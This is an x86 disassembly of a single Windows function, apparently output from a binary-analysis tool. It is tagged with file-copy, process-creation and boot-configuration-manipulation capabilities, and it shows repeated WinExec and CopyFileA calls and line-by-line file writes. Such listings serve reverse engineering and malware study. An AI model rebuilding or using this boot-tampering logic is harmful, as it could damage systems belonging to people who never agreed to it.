Function at 0x51b118
Capabilities:
Copy file
Create process on windows
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x51b120
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x51b6ca
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x51b6a5
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0051ace4
test al, al
je 0x51b15c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x51b6af
lea edx, [ebp - 8]
mov eax, dword [0x55e810]
mov eax, dword [eax]
call fcn.0049062c
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.004094b0
mov dl, 1
mov eax, dword [0x417b98]
call fcn.0040337c
mov esi, eax
mov dl, 1
mov eax, dword [0x417b98]
call fcn.0040337c
mov edi, eax
lea eax, [ebp - 0xc]
mov ecx, 0x51b6e0
mov edx, dword [ebp - 4]
call main
mov eax, dword [ebp - 0xc]
call fcn.00409270
test al, al
jne 0x51b1d7
lea eax, [ebp - 0x10]
mov ecx, 0x51b6f4
mov edx, dword [ebp - 4]
call main
mov eax, dword [ebp - 0x10]
call fcn.00409270
test al, al
jne 0x51b1d7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x51b6af
push 0
push 0x51b6fc
call sub.kernel32.dll_WinExec
push 0
push 0x51b718
call sub.kernel32.dll_WinExec
push 0
push 0x51b734
call sub.kernel32.dll_WinExec
push 0
push 0x51b750
call sub.kernel32.dll_WinExec
lea eax, [ebp - 0x14]
mov ecx, 0x51b774
mov edx, dword [ebp - 4]
call main
mov eax, dword [ebp - 0x14]
call fcn.00409270
test al, al
jne 0x51b24f
push 0
lea eax, [ebp - 0x18]
mov ecx, 0x51b788
mov edx, dword [ebp - 4]
call main
mov eax, dword [ebp - 0x18]
call fcn.004046a0
push eax
call sub.kernel32.dll_WinExec
push 0xbb8
call sub.kernel32.dll_Sleep_1
jmp 0x51b259
push 0x12c
call sub.kernel32.dll_Sleep_1
mov eax, 0x51b7a8
call fcn.00409270
test al, al
je 0x51b278
push 0
push 0x51b7b4
push 0x51b7c4
call sub.kernel32.dll_CopyFileA
mov eax, 0x51b7d8
call fcn.00409270
test al, al
je 0x51b297
push 0
push 0x51b7e4
push 0x51b7f4
call sub.kernel32.dll_CopyFileA
mov eax, 0x51b808
call fcn.00409270
test al, al
jne 0x51b2e6
lea eax, [ebp - 0x1c]
mov ecx, 0x51b6f4
mov edx, dword [ebp - 4]
call main
mov eax, dword [ebp - 0x1c]
call fcn.00409270
test al, al
je 0x51b2e6
push 0
push 0x51b814
lea eax, [ebp - 0x20]
mov ecx, 0x51b6f4
mov edx, dword [ebp - 4]
call main
mov eax, dword [ebp - 0x20]
call fcn.004046a0
push eax
call sub.kernel32.dll_CopyFileA
mov eax, 0x51b828
call fcn.00409270
test al, al
jne 0x51b335
lea eax, [ebp - 0x24]
mov ecx, 0x51b774
mov edx, dword [ebp - 4]
call main
mov eax, dword [ebp - 0x24]
call fcn.00409270
test al, al
je 0x51b335
push 0
push 0x51b834
lea eax, [ebp - 0x28]
mov ecx, 0x51b774
mov edx, dword [ebp - 4]
call main
mov eax, dword [ebp - 0x28]
call fcn.004046a0
push eax
call sub.kernel32.dll_CopyFileA
xor ebx, ebx
mov eax, 0x51b7a8
call fcn.00409270
test al, al
je 0x51b395
mov edx, 0x51b7a8
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x68]
lea edx, [ebp - 0x30]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x2c]
call fcn.00408624
mov edx, dword [ebp - 0x2c]
mov eax, 0x51b848
call fcn.004047e4
test eax, eax
jle 0x51b37b
mov bl, 1
jmp 0x51b395
mov edx, 0x51b85c
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b7a8
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x74]
xor ebx, ebx
mov eax, 0x51b7d8
call fcn.00409270
test al, bl
je 0x51b414
mov edx, 0x51b7d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x68]
mov edx, 0x51b87c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8b0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8c0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8e8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b90c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b920
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b93c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b7d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x74]
jmp 0x51b645
mov edx, 0x51b958
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b96c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b980
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8b0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b9b0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
xor edx, edx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b9bc
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8b0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8c0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8e8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b90c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b920
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b93c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b87c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8b0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b9f4
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51ba28
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51ba40
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51ba58
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51ba70
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51ba90
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51baa0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bac0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8b0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bad8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bb08
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bb2c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8b0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b87c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8b0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bb4c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bb78
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bb8c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bac0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bba4
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bbc8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b90c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bbe0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51ba90
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b87c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8b0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bbfc
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bc14
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b8b0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bc24
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51bc3c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51b7d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x74]
push 0
push 0x51bc44
call sub.kernel32.dll_WinExec
push 0
push 0x51bc60
call sub.kernel32.dll_WinExec
push 0
push 0x51bc7c
call sub.kernel32.dll_WinExec
push 0
push 0x51bc98
call sub.kernel32.dll_WinExec
push 0
push 0x51bcb4
call sub.kernel32.dll_WinExec
push 0
push 0x51bcd4
call sub.kernel32.dll_WinExec
mov eax, esi
call fcn.004033ac
mov eax, edi
call fcn.004033ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x51b6af
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51b6d1
lea eax, [ebp - 0x30]
mov edx, 0xc
call fcn.00404204
ret